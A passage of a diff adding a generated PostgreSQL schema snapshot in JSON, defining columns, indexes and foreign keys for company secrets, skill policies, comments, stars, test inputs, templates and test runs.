+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "external_ref": {
+          "name": "external_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_version": {
+          "name": "latest_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secrets_company_idx": {
+          "name": "company_secrets_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_scope_idx": {
+          "name": "company_secrets_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_owner_idx": {
+          "name": "company_secrets_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_idx": {
+          "name": "company_secrets_user_definition_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_provider_idx": {
+          "name": "company_secrets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_provider_config_idx": {
+          "name": "company_secrets_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_name_uq": {
+          "name": "company_secrets_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_key_uq": {
+          "name": "company_secrets_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_uq": {
+          "name": "company_secrets_user_definition_owner_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'user' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secrets_company_id_companies_id_fk": {
+          "name": "company_secrets_company_id_companies_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "company_secrets_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_created_by_agent_id_agents_id_fk": {
+          "name": "company_secrets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secrets_scope_shape_check": {
+          "name": "company_secrets_scope_shape_check",
+          "value": "(\n        \"company_secrets\".\"scope\" = 'company'\n        and \"company_secrets\".\"owner_user_id\" is null\n        and \"company_secrets\".\"user_secret_definition_id\" is null\n      ) or (\n        \"company_secrets\".\"scope\" = 'user'\n        and \"company_secrets\".\"owner_user_id\" is not null\n        and \"company_secrets\".\"user_secret_definition_id\" is not null\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_skill_policies": {
+      "name": "company_skill_policies",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "revision": {
+          "name": "revision",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_effect": {
+          "name": "default_effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rules": {
+          "name": "rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "company_skill_policies_company_id_companies_id_fk": {
+          "name": "company_skill_policies_company_id_companies_id_fk",
+          "tableFrom": "company_skill_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_comments": {
+      "name": "company_skill_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_comment_id": {
+          "name": "parent_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_comments_company_skill_created_idx": {
+          "name": "company_skill_comments_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_comments_parent_idx": {
+          "name": "company_skill_comments_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_comments_company_id_companies_id_fk": {
+          "name": "company_skill_comments_company_id_companies_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_comments_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_parent_comment_id_company_skill_comments_id_fk": {
+          "name": "company_skill_comments_parent_comment_id_company_skill_comments_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skill_comments",
+          "columnsFrom": [
+            "parent_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_author_agent_id_agents_id_fk": {
+          "name": "company_skill_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_stars": {
+      "name": "company_skill_stars",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_stars_skill_agent_idx": {
+          "name": "company_skill_stars_skill_agent_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_skill_user_idx": {
+          "name": "company_skill_stars_skill_user_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_company_skill_created_idx": {
+          "name": "company_skill_stars_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_stars_company_id_companies_id_fk": {
+          "name": "company_skill_stars_company_id_companies_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_stars_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_agent_id_agents_id_fk": {
+          "name": "company_skill_stars_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_inputs": {
+      "name": "company_skill_test_inputs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content": {
+          "name": "content",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by": {
+          "name": "created_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_inputs_company_skill_name_idx": {
+          "name": "company_skill_test_inputs_company_skill_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_inputs_company_skill_active_idx": {
+          "name": "company_skill_test_inputs_company_skill_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_inputs_company_id_companies_id_fk": {
+          "name": "company_skill_test_inputs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_inputs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_inputs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_run_templates": {
+      "name": "company_skill_test_run_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_run_templates_company_active_idx": {
+          "name": "company_skill_test_run_templates_company_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_run_templates_company_id_companies_id_fk": {
+          "name": "company_skill_test_run_templates_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_created_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_runs": {
+      "name": "company_skill_test_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_id": {
+          "name": "input_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_snapshot": {
+          "name": "input_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_version_id": {
+          "name": "skill_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_config_snapshot": {
+          "name": "agent_config_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_name": {
+          "name": "template_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_body": {
+          "name": "template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rendered_template_body": {
+          "name": "rendered_template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_description": {
+          "name": "harness_issue_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "output_document_key": {
+          "name": "output_document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'output'"
+        },
+        "output_snapshot": {
+          "name": "output_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_at": {
+          "name": "superseded_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_expires_at": {
+          "name": "harness_issue_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_deleted_at": {
+          "name": "harness_issue_deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_runs_company_skill_created_idx": {
+          "name": "company_skill_test_runs_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_issue_idx": {
+          "name": "company_skill_test_runs_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_input_created_idx": {
+          "name": "company_skill_test_runs_company_input_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "input_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_status_idx": {
+          "name": "company_skill_test_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_harness_expires_idx": {
+          "name": "company_skill_test_runs_company_harness_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_issue_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_runs_company_id_companies_id_fk": {
+          "name": "company_skill_test_runs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_runs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk": {
